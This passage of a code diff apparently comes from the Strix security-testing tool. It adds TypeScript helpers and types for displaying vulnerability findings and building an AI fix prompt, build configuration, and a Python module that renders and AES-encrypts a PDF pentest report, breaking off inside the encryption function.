if (v.endpoint) parts.push(`**Endpoint:** ${v.method ? `${v.method} ` : ""}${v.endpoint}`);
parts.push("");
if (v.description) {
parts.push("## Description");
parts.push("");
parts.push(v.description);
parts.push("");
}
if (v.impact) {
parts.push("## Impact");
parts.push("");
parts.push(v.impact);
parts.push("");
}
if (v.evidence) {
parts.push("## Evidence");
parts.push("");
parts.push(v.evidence);
parts.push("");
}
if (v.assumptions) {
parts.push("## Assumptions");
parts.push("");
parts.push(v.assumptions);
parts.push("");
}
if (v.technical_analysis) {
parts.push("## Technical Details");
parts.push("");
parts.push(v.technical_analysis);
parts.push("");
}
if (v.remediation_steps) {
parts.push("## How to Fix");
parts.push("");
parts.push(v.remediation_steps);
parts.push("");
}
if (v.poc_description) {
parts.push("## Proof of Concept");
parts.push("");
parts.push(v.poc_description);
if (v.poc_script_code) {
parts.push("");
parts.push("```");
parts.push(v.poc_script_code);
parts.push("```");
}
parts.push("");
}
if (v.code_locations?.length) {
parts.push("## Code Locations");
parts.push("");
if (v.location_meta) {
parts.push(`**Repository:** ${v.location_meta.repo_url} (${v.location_meta.branch})`);
parts.push("");
}
for (const loc of v.code_locations) {
if (!loc.file) continue;
const lineRef = loc.end_line && loc.end_line !== loc.start_line
? `${loc.file}:${loc.start_line}-${loc.end_line}`
: `${loc.file}:${loc.start_line}`;
parts.push(`### \`${lineRef}\``);
if (loc.label) parts.push(loc.label);
if (loc.snippet) {
parts.push("");
parts.push("```");
parts.push(loc.snippet);
parts.push("```");
}
if (loc.fix_before && loc.fix_after) {
parts.push("");
parts.push("```diff");
for (const l of loc.fix_before.split("\n")) parts.push(`- ${l}`);
for (const l of loc.fix_after.split("\n")) parts.push(`+ ${l}`);
parts.push("```");
}
parts.push("");
}
} else if (v.code_file && (v.code_before || v.code_after)) {
parts.push("## Code");
parts.push("");
parts.push(`**File:** \`${v.code_file}\``);
if (v.code_before && v.code_after) {
parts.push("");
parts.push("```diff");
for (const l of v.code_before.split("\n")) parts.push(`- ${l}`);
for (const l of v.code_after.split("\n")) parts.push(`+ ${l}`);
parts.push("```");
} else if (v.code_diff) {
parts.push("");
parts.push("```diff");
parts.push(v.code_diff);
parts.push("```");
}
parts.push("");
}
return parts.join("\n");
}
export function buildAIFixPrompt(v: Vulnerability): string {
const parts: string[] = [];
parts.push("This is a security vulnerability found during a code review.");
parts.push("");
parts.push(`Vulnerability: ${v.title}`);
parts.push(`Severity: ${v.severity.toUpperCase()}`);
if (v.cwe && v.cwe.length > 0) {
parts.push(`CWE: ${v.cwe.join(", ")}`);
}
parts.push("");
parts.push(v.description);
if (v.evidence) {
parts.push("");
parts.push("Evidence:");
parts.push(v.evidence);
}
const allLocations = v.code_locations || [];
for (const fixLoc of allLocations) {
if (!fixLoc.file) continue;
const startLine = fixLoc.start_line || 0;
const endLine = fixLoc.end_line || startLine;
parts.push("");
parts.push(`Location: ${fixLoc.file}:${startLine}-${endLine}`);
if (fixLoc.label) {
parts.push(`Context: ${fixLoc.label}`);
}
if (fixLoc.fix_before && fixLoc.fix_after) {
parts.push("```");
parts.push(`// Before:\n${fixLoc.fix_before}`);
parts.push(`// After:\n${fixLoc.fix_after}`);
parts.push("```");
} else if (fixLoc.snippet) {
parts.push("```");
parts.push(fixLoc.snippet);
parts.push("```");
}
}
if (v.remediation_steps) {
parts.push("");
parts.push("How to fix:");
parts.push(v.remediation_steps);
}
parts.push("");
parts.push("Please fix this vulnerability. If you propose a fix, make it concise and minimal.");
return parts.join("\n");
}
export async function copyToClipboard(text: string): Promise<void> {
try {
await navigator.clipboard.writeText(text);
} catch {
const ta = document.createElement("textarea");
ta.value = text;
ta.style.position = "absolute";
ta.style.left = "-9999px";
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");
document.body.removeChild(ta);
}
}
+10
View File
@@ -0,0 +1,10 @@
import { StrictMode } from "react";
import { createRoot } from "react-dom/client";
import App from "./App";
import "./index.css";
createRoot(document.getElementById("root")!).render(
<StrictMode>
<App />
</StrictMode>
);
+16
View File
@@ -0,0 +1,16 @@
// Local stub of the strix-app auth store. The local viewer has no accounts:
// there is never a signed-in user and no feature is entitled, so every upsell
// CTA routes to the external cloud sign-up link.
interface AuthState {
user: null;
hasFeature: (feature: string) => boolean;
}
const STATE: AuthState = {
user: null,
hasFeature: () => false,
};
export function useAuthStore<T>(selector: (s: AuthState) => T): T {
return selector(STATE);
}
+102
View File
@@ -0,0 +1,102 @@
// Types matching the Python tracer's event shapes stored in Convex
export type EventType =
| "run.started"
| "run.configured"
| "run.completed"
| "agent.created"
| "agent.status.updated"
| "tool.execution.started"
| "tool.execution.updated"
| "chat.message"
| "finding.created"
| "finding.reviewed"
| "traffic.batch";
export interface EventActor {
agent_id?: string;
agent_name?: string;
tool_name?: string;
execution_id?: number;
role?: string;
}
export interface ConvexEvent {
_id: string;
_creationTime: number;
timestamp: string;
event_type: EventType;
run_id: string;
trace_id?: string | null;
span_id?: string | null;
parent_span_id?: string | null;
actor: EventActor | null;
payload: Record<string, unknown> | null;
status: string | null;
error: unknown | null;
source?: string;
run_metadata?: RunMetadata;
}
export interface RunMetadata {
run_id: string;
run_name: string | null;
start_time: string;
end_time: string | null;
targets: string[];
status: string;
user_instructions?: string;
max_iterations?: number;
}
export interface AgentNode {
id: string;
name: string;
task: string;
status: "running" | "completed" | "failed" | "error";
parentId: string | null;
children: string[];
createdAt: string;
toolCount: number;
messageCount: number;
}
export interface ToolExecution {
executionId: number;
agentId: string;
toolName: string;
args: Record<string, unknown>;
result: unknown;
status: "running" | "completed" | "failed" | "error";
startedAt: string;
completedAt: string | null;
}
export interface ChatMessage {
messageId: number;
agentId: string | null;
role: string;
content: string;
timestamp: string;
metadata: Record<string, unknown>;
}
export interface Finding {
id: string;
title: string;
severity: "critical" | "high" | "medium" | "low";
description?: string;
target?: string;
endpoint?: string;
method?: string;
cvss?: number;
cve?: string;
timestamp: string;
}
export interface ToolRendererProps {
toolName: string;
args: Record<string, unknown>;
result: unknown;
status: "running" | "completed" | "failed" | "error";
}
+197
View File
@@ -0,0 +1,197 @@
export type VulnerabilitySeverity = "critical" | "high" | "medium" | "low";
export type VulnerabilityStatus = "open" | "in_progress" | "snoozed" | "fixed" | "ignored";
export type FixEffort = "trivial" | "low" | "medium" | "high";
export const ACTIVE_STATUSES: VulnerabilityStatus[] = ["open", "in_progress", "snoozed"];
export const RESOLVED_STATUSES: VulnerabilityStatus[] = ["fixed", "ignored"];
// Statuses worth retesting in a "retest all" — everything except ignored
// (fixed issues are still re-verified; ignored issues are intentionally skipped).
export const RETESTABLE_STATUSES: VulnerabilityStatus[] = ["open", "in_progress", "snoozed", "fixed"];
export const ALL_STATUSES: VulnerabilityStatus[] = ["open", "in_progress", "snoozed", "fixed", "ignored"];
export interface StatusCounts {
all: number;
open: number;
in_progress: number;
snoozed: number;
fixed: number;
ignored: number;
}
export interface StatusMeta {
label: string;
color: string;
dotColor: string;
description: string;
}
export const STATUS_META: Record<VulnerabilityStatus, StatusMeta> = {
open: {
label: "Open",
color: "bg-red-500/10 text-red-400 border-red-500/20",
dotColor: "bg-red-500",
description: "Newly discovered, awaiting triage",
},
in_progress: {
label: "In Progress",
color: "bg-blue-500/10 text-blue-400 border-blue-500/20",
dotColor: "bg-blue-500",
description: "Someone is working on this",
},
snoozed: {
label: "Snoozed",
color: "bg-purple-500/10 text-purple-400 border-purple-500/20",
dotColor: "bg-purple-500",
description: "Temporarily hidden until a follow-up date",
},
fixed: {
label: "Fixed",
color: "bg-emerald-500/10 text-emerald-400 border-emerald-500/20",
dotColor: "bg-emerald-500",
description: "This vulnerability has been fixed",
},
ignored: {
label: "Ignored",
color: "bg-gray-500/10 text-gray-400 border-gray-500/20",
dotColor: "bg-gray-500",
description: "Acknowledged but accepted",
},
};
export const FIX_EFFORT_META: Record<FixEffort, { label: string; color: string }> = {
trivial: { label: "Trivial", color: "bg-emerald-500/10 text-emerald-400 border-emerald-500/20" },
low: { label: "Low", color: "bg-blue-500/10 text-blue-400 border-blue-500/20" },
medium: { label: "Medium", color: "bg-yellow-500/10 text-yellow-400 border-yellow-500/20" },
high: { label: "High", color: "bg-orange-500/10 text-orange-400 border-orange-500/20" },
};
export interface CodeLocation {
file: string;
start_line: number;
end_line?: number;
snippet?: string;
label?: string;
fix_before?: string;
fix_after?: string;
}
export interface CVSSBreakdown {
attack_vector: string | null;
attack_complexity: string | null;
privileges_required: string | null;
user_interaction: string | null;
scope: string | null;
confidentiality: string | null;
integrity: string | null;
availability: string | null;
}
export interface Vulnerability {
id: string;
scan_id: string | null;
pr_review_id: string | null;
title: string;
description: string;
cve: string | null;
cvss: number | null;
created_at: string;
potential_risk_saving: number | null;
risk_saving_description: string | null;
status: VulnerabilityStatus;
severity: VulnerabilitySeverity;
impact: string | null;
endpoint: string | null;
method: string | null;
target: string | null;
technical_analysis: string | null;
poc_description: string | null;
poc_script_code: string | null;
code_diff: string | null;
code_file: string | null;
code_before: string | null;
code_after: string | null;
cwe: string[] | null;
code_locations: CodeLocation[] | null;
remediation_steps: string | null;
fix_pr_body: string | null;
evidence: string | null;
assumptions: string | null;
fix_effort: FixEffort | null;
cvss_breakdown: CVSSBreakdown | null;
status_changed_at: string | null;
status_changed_by: string | null;
status_note: string | null;
snoozed_until: string | null;
reopened_at: string | null;
reopened_by: string | null;
original_severity: VulnerabilitySeverity | null;
severity_changed_at: string | null;
severity_changed_by: string | null;
severity_override_reason: string | null;
retest_of_vulnerability_id: string | null;
slack_thread_url?: string;
display_number?: number | null;
location_meta?: {
branch: string;
provider: string;
repo_url: string;
} | null;
fix_pr_eligible?: boolean;
fix_pr_reason?: string | null;
fix_pr_url?: string | null;
}
export interface VulnerabilityFilters {
scan_id?: string;
severity?: VulnerabilitySeverity;
status?: VulnerabilityStatus;
search?: string;
sortBy?: "cvss" | "created_at";
sortOrder?: "asc" | "desc";
domain_id?: string;
repository_id?: string;
}
export interface VulnerabilityAction {
type: "status_change" | "generate_report" | "create_ticket";
notes?: string;
verification?: string;
reason?: string;
explanation?: string;
report_type?: string;
system?: string;
priority?: string;
assignee?: string;
timestamp: string;
}
export const SEVERITY_COLORS: Record<VulnerabilitySeverity, string> = {
critical: "bg-red-500/20 text-red-500 border-red-500/30",
high: "bg-orange-500/20 text-orange-500 border-orange-500/30",
medium: "bg-yellow-500/20 text-yellow-500 border-yellow-500/30",
low: "bg-blue-500/20 text-blue-500 border-blue-500/30",
};
export const STATUS_COLORS: Record<VulnerabilityStatus, string> = {
open: STATUS_META.open.color,
in_progress: STATUS_META.in_progress.color,
snoozed: STATUS_META.snoozed.color,
fixed: STATUS_META.fixed.color,
ignored: STATUS_META.ignored.color,
};
export function isSeverityOverridden(
v: Pick<Vulnerability, "original_severity" | "severity">
): boolean {
return v.original_severity != null && v.original_severity !== v.severity;
}
export function formatCvssLabel(cvss: number | null): string {
if (cvss === null) return "N/A";
if (cvss >= 9.0) return "Critical";
if (cvss >= 7.0) return "High";
if (cvss >= 4.0) return "Medium";
return "Low";
}
+25
View File
@@ -0,0 +1,25 @@
{
"compilerOptions": {
"target": "ES2022",
"useDefineForClassFields": true,
"lib": ["ES2022", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"resolveJsonModule": true,
"isolatedModules": true,
"moduleDetection": "force",
"noEmit": true,
"jsx": "react-jsx",
"strict": true,
"noUnusedLocals": false,
"noUnusedParameters": false,
"noFallthroughCasesInSwitch": true,
"baseUrl": ".",
"paths": {
"@/*": ["./src/*"]
}
},
"include": ["src"]
}
+21
View File
@@ -0,0 +1,21 @@
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import tailwindcss from "@tailwindcss/vite";
import { fileURLToPath, URL } from "node:url";
// The viewer is served as static files by a stdlib Python server on an
// arbitrary ephemeral port, so all asset URLs must be relative (base: "./").
// The build output is committed at strix/viewer/static and shipped.
export default defineConfig({
base: "./",
plugins: [react(), tailwindcss()],
resolve: {
alias: {
"@": fileURLToPath(new URL("./src", import.meta.url)),
},
},
build: {
outDir: "../static",
emptyOutDir: true,
},
});
+618
View File
@@ -0,0 +1,618 @@
"""Build and encrypt a branded PDF report for a run.
The layout mirrors the Strix cloud pentest report (cover page, executive
severity grid, per-finding detail with colored severity badges) but is rendered
entirely locally with reportlab, so it ships without a browser or heavy system
deps and keeps the report on the user's machine.
The PDF carries FULL finding detail, including proof-of-concept scripts, so it
is encrypted end to end with AES-256. The password is generated locally with a
CSPRNG, shown only to the local browser, and never leaves the machine except in
the user's own hands. Strix cannot read the delivered report.
"""
from __future__ import annotations
import html
import re
import secrets
from datetime import datetime
from io import BytesIO
from typing import TYPE_CHECKING, Any
from pypdf import PdfReader, PdfWriter
from reportlab.lib import colors
from reportlab.lib.enums import TA_CENTER
from reportlab.lib.pagesizes import A4
from reportlab.lib.styles import ParagraphStyle
from reportlab.lib.units import mm
from reportlab.pdfgen import canvas as pdfcanvas
from reportlab.platypus import (
Flowable,
KeepTogether,
PageBreak,
Paragraph,
SimpleDocTemplate,
Spacer,
Table,
TableStyle,
)
from strix.viewer.transcript import (
primary_target,
read_run_summary,
read_vulnerabilities,
severity_counts,
)
if TYPE_CHECKING:
from pathlib import Path
# Palette lifted from the cloud report theme (styles/base.ts, docx/theme.ts).
_INK = colors.HexColor("#000000")
_TEXT = colors.HexColor("#1a1a1a")
_MUTED = colors.HexColor("#666666")
_FAINT = colors.HexColor("#999999")
_BORDER = colors.HexColor("#e5e5e5")
_LIGHT_BG = colors.HexColor("#f7f7f7")
_SEVERITY_ORDER = ("critical", "high", "medium", "low")
_SEVERITY_COLORS = {
"critical": colors.HexColor("#dc2626"),
"high": colors.HexColor("#ea580c"),
"medium": colors.HexColor("#ca8a04"),
"low": colors.HexColor("#2563eb"),
}
# Helvetica stands in for Geist: a clean sans with no font file to ship.
_SANS = "Helvetica"
_SANS_BOLD = "Helvetica-Bold"
_MONO = "Courier"
_PAGE_W, _PAGE_H = A4
def _esc(value: Any) -> str:
"""Escape a value for reportlab's Paragraph markup."""
return html.escape(str(value)).replace("\n", "<br/>")
class _NumberedCanvas(pdfcanvas.Canvas): # type: ignore[misc] # reportlab base is untyped
"""Two-pass canvas that prints 'Page X of Y' on every page after the cover."""
def __init__(self, *args: Any, **kwargs: Any) -> None:
super().__init__(*args, **kwargs)
self._saved_states: list[dict[str, Any]] = []
def showPage(self) -> None: # noqa: N802 - reportlab API
self._saved_states.append(dict(self.__dict__))
self._startPage()
def save(self) -> None:
total = len(self._saved_states)
for index, state in enumerate(self._saved_states):
self.__dict__.update(state)
if index > 0: # skip the cover page
self._draw_footer(index + 1, total)
super().showPage()
super().save()
def _draw_footer(self, page: int, total: int) -> None:
self.setFont(_SANS, 8)
self.setFillColor(_FAINT)
self.drawCentredString(_PAGE_W / 2, 14 * mm, f"Page {page} of {total}")
class _LogoMark(Flowable): # type: ignore[misc] # reportlab base is untyped
"""The rounded-square Strix mark drawn inline (no raster asset to ship)."""
def __init__(self, size: float = 30) -> None:
super().__init__()
self.size = size
self.width = size
self.height = size
def draw(self) -> None:
c = self.canv
s = self.size
c.setFillColor(_INK)
c.roundRect(0, 0, s, s, s * 0.28, fill=1, stroke=0)
c.setFillColor(colors.white)
c.setFont(_SANS_BOLD, s * 0.56)
c.drawCentredString(s / 2, s * 0.27, "S")
def _styles() -> dict[str, ParagraphStyle]:
styles: dict[str, ParagraphStyle] = {}
styles["wordmark"] = ParagraphStyle(
"Wordmark", fontName=_SANS_BOLD, fontSize=17, leading=20, textColor=_INK
)
styles["badge_label"] = ParagraphStyle(
"BadgeLabel", fontName=_SANS_BOLD, fontSize=9, leading=12, textColor=_MUTED
)
styles["cover_title"] = ParagraphStyle(
"CoverTitle", fontName=_SANS_BOLD, fontSize=34, leading=38, textColor=_INK
)
styles["cover_org"] = ParagraphStyle(
"CoverOrg", fontName=_SANS, fontSize=13, leading=18, textColor=_MUTED
)
styles["meta_label"] = ParagraphStyle(
"MetaLabel", fontName=_SANS_BOLD, fontSize=8, leading=12, textColor=_MUTED
)
styles["meta_value"] = ParagraphStyle(
"MetaValue", fontName=_SANS, fontSize=10.5, leading=14, textColor=_TEXT
)
styles["section"] = ParagraphStyle(
"Section", fontName=_SANS_BOLD, fontSize=18, leading=22, textColor=_INK, spaceAfter=6
)
styles["finding"] = ParagraphStyle(
"Finding", fontName=_SANS_BOLD, fontSize=13, leading=17, textColor=_INK, spaceBefore=6
)
styles["field_label"] = ParagraphStyle(
"FieldLabel", fontName=_SANS_BOLD, fontSize=8.5, leading=12, textColor=_MUTED,
spaceBefore=10, spaceAfter=2,
)
styles["body"] = ParagraphStyle(
"Body", fontName=_SANS, fontSize=10, leading=15, textColor=_TEXT, spaceAfter=8
)
styles["md_heading"] = ParagraphStyle(
"MdHeading", fontName=_SANS_BOLD, fontSize=11, leading=15, textColor=_INK,
spaceBefore=10, spaceAfter=4,
)
styles["bullet"] = ParagraphStyle(
"Bullet", fontName=_SANS, fontSize=10, leading=15, textColor=_TEXT,
leftIndent=16, firstLineIndent=-11, spaceAfter=3,
)
styles["meta_inline"] = ParagraphStyle(
"MetaInline", fontName=_SANS, fontSize=9, leading=13, textColor=_MUTED, spaceBefore=4
)
# spaceBefore/spaceAfter must exceed borderPadding: reportlab does not reserve
# a bordered paragraph's top padding, so too small a gap lets the background
# box bleed up over the field label above it.
styles["code"] = ParagraphStyle(
"Code", fontName=_MONO, fontSize=8, leading=11, textColor=_TEXT,
backColor=_LIGHT_BG, borderColor=_BORDER, borderWidth=0.5, borderPadding=8,
spaceBefore=12, spaceAfter=12,
)
styles["count"] = ParagraphStyle(
"Count", fontName=_SANS_BOLD, fontSize=30, leading=32, alignment=TA_CENTER
)
styles["count_label"] = ParagraphStyle(
"CountLabel", fontName=_SANS_BOLD, fontSize=8, leading=12, textColor=_MUTED,
alignment=TA_CENTER, spaceBefore=4,
)
styles["badge"] = ParagraphStyle(
"Badge", fontName=_SANS_BOLD, fontSize=9, leading=11, textColor=colors.white,
alignment=TA_CENTER,
)
styles["confidential"] = ParagraphStyle(
"Confidential", fontName=_SANS_BOLD, fontSize=9, leading=12, textColor=colors.white,
alignment=TA_CENTER,
)
return styles
def _parse_time(raw: Any) -> datetime | None:
if not isinstance(raw, str) or not raw:
return None
text = raw.strip().replace(" UTC", "Z").replace(" ", "T")
if text.endswith("Z"):
text = text[:-1] + "+00:00"
try:
return datetime.fromisoformat(text)
except ValueError:
return None
def _fmt_time(raw: Any) -> str:
parsed = _parse_time(raw)
return parsed.strftime("%Y-%m-%d %H:%M UTC") if parsed else "n/a"
def _duration(start: Any, end: Any) -> str:
start_dt = _parse_time(start)
end_dt = _parse_time(end)
if not start_dt or not end_dt:
return "n/a"
seconds = int((end_dt - start_dt).total_seconds())
if seconds < 0:
return "n/a"
hours, remainder = divmod(seconds, 3600)
minutes, secs = divmod(remainder, 60)
if hours:
return f"{hours}h {minutes}m {secs}s"
if minutes:
return f"{minutes}m {secs}s"
return f"{secs}s"
def _severity_badge(styles: dict[str, ParagraphStyle], severity: str) -> Table:
"""A colored pill matching .severity-badge in the cloud report."""
color = _SEVERITY_COLORS.get(severity, _MUTED)
cell = Paragraph(severity.upper(), styles["badge"])
table = Table([[cell]], colWidths=[len(severity) * 6.5 + 20])
table.setStyle(
TableStyle(
[
("BACKGROUND", (0, 0), (-1, -1), color),
("TOPPADDING", (0, 0), (-1, -1), 4),
("BOTTOMPADDING", (0, 0), (-1, -1), 4),
("LEFTPADDING", (0, 0), (-1, -1), 8),
("RIGHTPADDING", (0, 0), (-1, -1), 8),
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
]
)
)
table.hAlign = "LEFT"
return table
def _severity_grid(styles: dict[str, ParagraphStyle], counts: dict[str, int]) -> Table:
"""The four-card severity grid from the executive summary."""
cells: list[list[Flowable]] = []
for name in _SEVERITY_ORDER:
color = _SEVERITY_COLORS[name]
count_style = ParagraphStyle(f"Count{name}", parent=styles["count"], textColor=color)
cells.append(
[Paragraph(str(counts.get(name, 0)), count_style),
Paragraph(name.upper(), styles["count_label"])]
)
col = (_PAGE_W - 40 * mm) / 4
table = Table([cells], colWidths=[col] * 4)
style = [
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
("TOPPADDING", (0, 0), (-1, -1), 16),
("BOTTOMPADDING", (0, 0), (-1, -1), 16),
("GRID", (0, 0), (-1, -1), 0.5, _BORDER),
]
for index, name in enumerate(_SEVERITY_ORDER):
style.append(("LINEABOVE", (index, 0), (index, 0), 3, _SEVERITY_COLORS[name]))
table.setStyle(TableStyle(style))
return table
def _section(styles: dict[str, ParagraphStyle], title: str) -> Table:
"""Section title with the underline rule from h2.section-title."""
table = Table([[Paragraph(_esc(title), styles["section"])]], colWidths=[_PAGE_W - 40 * mm])
table.setStyle(
TableStyle(
[
("LINEBELOW", (0, 0), (-1, -1), 1, _BORDER),
("BOTTOMPADDING", (0, 0), (-1, -1), 10),
("LEFTPADDING", (0, 0), (-1, -1), 0),
("RIGHTPADDING", (0, 0), (-1, -1), 0),
("TOPPADDING", (0, 0), (-1, -1), 0),
]
)
)
return table
def _cover(
styles: dict[str, ParagraphStyle], record: dict[str, Any], run_name: str
) -> list[Flowable]:
header = Table(
[[_LogoMark(30), Paragraph("Strix", styles["wordmark"])]],
colWidths=[38, _PAGE_W - 40 * mm - 38],
)
header.setStyle(
TableStyle(
[
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
("LEFTPADDING", (0, 0), (-1, -1), 0),
("RIGHTPADDING", (0, 0), (-1, -1), 0),
("TOPPADDING", (0, 0), (-1, -1), 0),
("BOTTOMPADDING", (0, 0), (-1, -1), 0),
]
)
)
target = primary_target(record) or "Target"
meta_rows = [
("TARGET", primary_target(record) or "unknown target"),
("RUN", run_name),
("SCAN MODE", str(record.get("scan_mode") or "n/a")),
("STATUS", str(record.get("status") or "n/a")),
("STARTED", _fmt_time(record.get("start_time"))),
("COMPLETED", _fmt_time(record.get("end_time"))),
("DURATION", _duration(record.get("start_time"), record.get("end_time"))),
]
meta_table = Table(
[[Paragraph(label, styles["meta_label"]), Paragraph(_esc(value), styles["meta_value"])]
for label, value in meta_rows],
colWidths=[38 * mm, _PAGE_W - 40 * mm - 38 * mm],
)
meta_table.setStyle(
TableStyle(
[
("VALIGN", (0, 0), (-1, -1), "TOP"),
("LEFTPADDING", (0, 0), (-1, -1), 0),
("TOPPADDING", (0, 0), (-1, -1), 6),
("BOTTOMPADDING", (0, 0), (-1, -1), 6),
("LINEBELOW", (0, 0), (-1, -2), 0.5, _BORDER),
]
)
)
confidential = Table([[Paragraph("CONFIDENTIAL", styles["confidential"])]], colWidths=[120])
confidential.setStyle(
TableStyle(
[
("BACKGROUND", (0, 0), (-1, -1), _INK),
("TOPPADDING", (0, 0), (-1, -1), 8),
("BOTTOMPADDING", (0, 0), (-1, -1), 8),
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
]
)
)
confidential.hAlign = "CENTER"
return [
header,
Spacer(1, 150),
Paragraph("PENETRATION TEST REPORT", styles["badge_label"]),
Spacer(1, 20),
Paragraph("Security Assessment", styles["cover_title"]),
Paragraph(_esc(target), styles["cover_org"]),
Spacer(1, 28),
meta_table,
Spacer(1, 90),
confidential,
PageBreak(),
]
def _inline_md(text: str) -> str:
"""Convert inline markdown (bold, italic, `code`) to reportlab markup.
Code spans are stashed as placeholders before bold/italic run, so bold that
wraps a code span (``**`x`**``) works and code contents are never mangled.
"""
codes: list[str] = []
def _stash(match: re.Match[str]) -> str:
codes.append(match.group(1))
return f"\x00{len(codes) - 1}\x00"
seg = html.escape(re.sub(r"`([^`]+)`", _stash, text))
seg = re.sub(r"\*\*(.+?)\*\*", r"<b>\1</b>", seg)
seg = re.sub(r"__(.+?)__", r"<b>\1</b>", seg)
seg = re.sub(r"\*(.+?)\*", r"<i>\1</i>", seg)
def _restore(match: re.Match[str]) -> str:
inner = html.escape(codes[int(match.group(1))])
return f'<font face="{_MONO}" color="#b31d28">{inner}</font>'
return re.sub(r"\x00(\d+)\x00", _restore, seg)
def _strip_leading_heading(md: str) -> str:
"""Drop a single leading markdown heading (each section adds its own title)."""
lines = md.lstrip("\n").split("\n")
if lines and re.match(r"^#{1,6}\s+", lines[0].strip()):
return "\n".join(lines[1:]).lstrip("\n")
return md
def _markdown_flowables( # noqa: PLR0915 - cohesive block parser, splitting hurts clarity
md: str, styles: dict[str, ParagraphStyle]
) -> list[Flowable]:
"""Render a markdown block (headings, lists, fenced code, prose) to flowables."""
flow: list[Flowable] = []
para: list[str] = []
bullets: list[tuple[str, str]] = []
def flush_para() -> None:
if para:
flow.append(Paragraph(_inline_md(" ".join(para)), styles["body"]))
para.clear()
def flush_bullets() -> None:
for marker, item in bullets:
flow.append(Paragraph(f"{marker}&nbsp;{_inline_md(item)}", styles["bullet"]))
bullets.clear()
lines = md.replace("\r\n", "\n").split("\n")
i = 0
while i < len(lines):
stripped = lines[i].strip()
if stripped.startswith("```"):
flush_para()
flush_bullets()
i += 1
code: list[str] = []
while i < len(lines) and not lines[i].strip().startswith("```"):
code.append(lines[i])
i += 1
i += 1 # closing fence
flow.append(Paragraph(_esc("\n".join(code)) or "&nbsp;", styles["code"]))
continue
if not stripped:
flush_para()
flush_bullets()
i += 1
continue
heading = re.match(r"^(#{1,6})\s+(.*)$", stripped)
if heading:
flush_para()
flush_bullets()
flow.append(Paragraph(_inline_md(heading.group(2)), styles["md_heading"]))
i += 1
continue
ordered = re.match(r"^(\d+)\.\s+(.*)$", stripped)
unordered = re.match(r"^[-*+]\s+(.*)$", stripped)
if ordered:
flush_para()
bullets.append((f"{ordered.group(1)}.", ordered.group(2)))
i += 1
continue
if unordered:
flush_para()
bullets.append(("", unordered.group(1)))
i += 1
continue
flush_bullets()
para.append(stripped)
i += 1
flush_para()
flush_bullets()
return flow
def _field_block(
styles: dict[str, ParagraphStyle], label: str, value: Any, *, code: bool = False
) -> list[Flowable]:
if value is None or (isinstance(value, str) and not value.strip()):
return []
flow: list[Flowable] = [Paragraph(label.upper(), styles["field_label"])]
if code:
flow.append(Paragraph(_esc(value), styles["code"]))
else:
flow.extend(_markdown_flowables(str(value), styles))
return flow
def _finding_flowables(
styles: dict[str, ParagraphStyle], index: int, vuln: dict[str, Any]
) -> list[Flowable]:
title = vuln.get("title") or "Untitled finding"
severity = str(vuln.get("severity") or "").lower().strip() or "low"
meta_bits = []
if vuln.get("cvss") is not None:
meta_bits.append(f"<b>CVSS</b> {_esc(vuln.get('cvss'))}")
meta_bits.extend(
f"<b>{key.title()}</b> {_esc(vuln.get(key))}"
for key in ("target", "endpoint", "method")
if vuln.get(key)
)
header: list[Flowable] = [
Paragraph(f"{index}. {_esc(title)}", styles["finding"]),
Spacer(1, 4),
_severity_badge(styles, severity),
]
if meta_bits:
header.append(Paragraph("&nbsp;&nbsp;".join(meta_bits), styles["meta_inline"]))
story: list[Flowable] = [KeepTogether(header)]
story.extend(_field_block(styles, "Description", vuln.get("description")))
story.extend(_field_block(styles, "Impact", vuln.get("impact")))
story.extend(_field_block(styles, "Technical analysis", vuln.get("technical_analysis")))
story.extend(_field_block(styles, "Proof of concept", vuln.get("poc_description")))
story.extend(_field_block(styles, "PoC script", vuln.get("poc_script_code"), code=True))
story.extend(_field_block(styles, "Evidence", vuln.get("evidence"), code=True))
remediation = vuln.get("remediation_steps")
if isinstance(remediation, list):
remediation = "\n".join(str(step) for step in remediation)
story.extend(_field_block(styles, "Remediation", remediation))
story.append(Spacer(1, 22))
return story
def _overview_flowables(
styles: dict[str, ParagraphStyle], record: dict[str, Any], total: int, counts: dict[str, int]
) -> list[Flowable]:
story: list[Flowable] = [
_section(styles, "Executive Summary"),
Spacer(1, 16),
_severity_grid(styles, counts),
Spacer(1, 10),
Paragraph(f"<b>{total}</b> total findings across this assessment.", styles["body"]),
]
scan_results = record.get("scan_results")
if not isinstance(scan_results, dict):
return story
summary = scan_results.get("executive_summary")
if isinstance(summary, str) and summary.strip():
story.append(Spacer(1, 16))
story.extend(_markdown_flowables(_strip_leading_heading(summary), styles))
for label, key in (
("Methodology", "methodology"),
("Technical Analysis", "technical_analysis"),
("Recommendations", "recommendations"),
):
value = scan_results.get(key)
if isinstance(value, str) and value.strip():
story.append(Spacer(1, 20))
story.append(_section(styles, label))
story.append(Spacer(1, 12))
story.extend(_markdown_flowables(_strip_leading_heading(value), styles))
return story
def generate_report_pdf(run_dir: Path) -> bytes:
"""Render a branded, full-detail PDF report for the run at ``run_dir``."""
record = read_run_summary(run_dir)
vulns = [v for v in read_vulnerabilities(run_dir) if isinstance(v, dict)]
counts = severity_counts(vulns)
run_name = str(record.get("run_name") or run_dir.name)
styles = _styles()
buffer = BytesIO()
doc = SimpleDocTemplate(
buffer,
pagesize=A4,
title="Strix Security Report",
author="Strix",
leftMargin=20 * mm,
rightMargin=20 * mm,
topMargin=22 * mm,
bottomMargin=24 * mm,
)
story: list[Flowable] = []
story.extend(_cover(styles, record, run_name))
story.extend(_overview_flowables(styles, record, len(vulns), counts))
story.append(PageBreak())
story.append(_section(styles, "Findings"))
story.append(Spacer(1, 16))
if vulns:
for index, vuln in enumerate(vulns, start=1):
story.extend(_finding_flowables(styles, index, vuln))
else:
story.append(Paragraph("No findings were recorded for this run.", styles["body"]))
doc.build(story, canvasmaker=_NumberedCanvas)
return buffer.getvalue()
def generate_password() -> str:
"""Return a >=20 character URL-safe password from a CSPRNG."""
return secrets.token_urlsafe(16)
def encrypt_pdf(pdf_bytes: bytes, password: str) -> bytes:
"""Encrypt a PDF with AES-256 using ``password`` as the user password."""
reader = PdfReader(BytesIO(pdf_bytes))
writer = PdfWriter()
writer.append(reader)
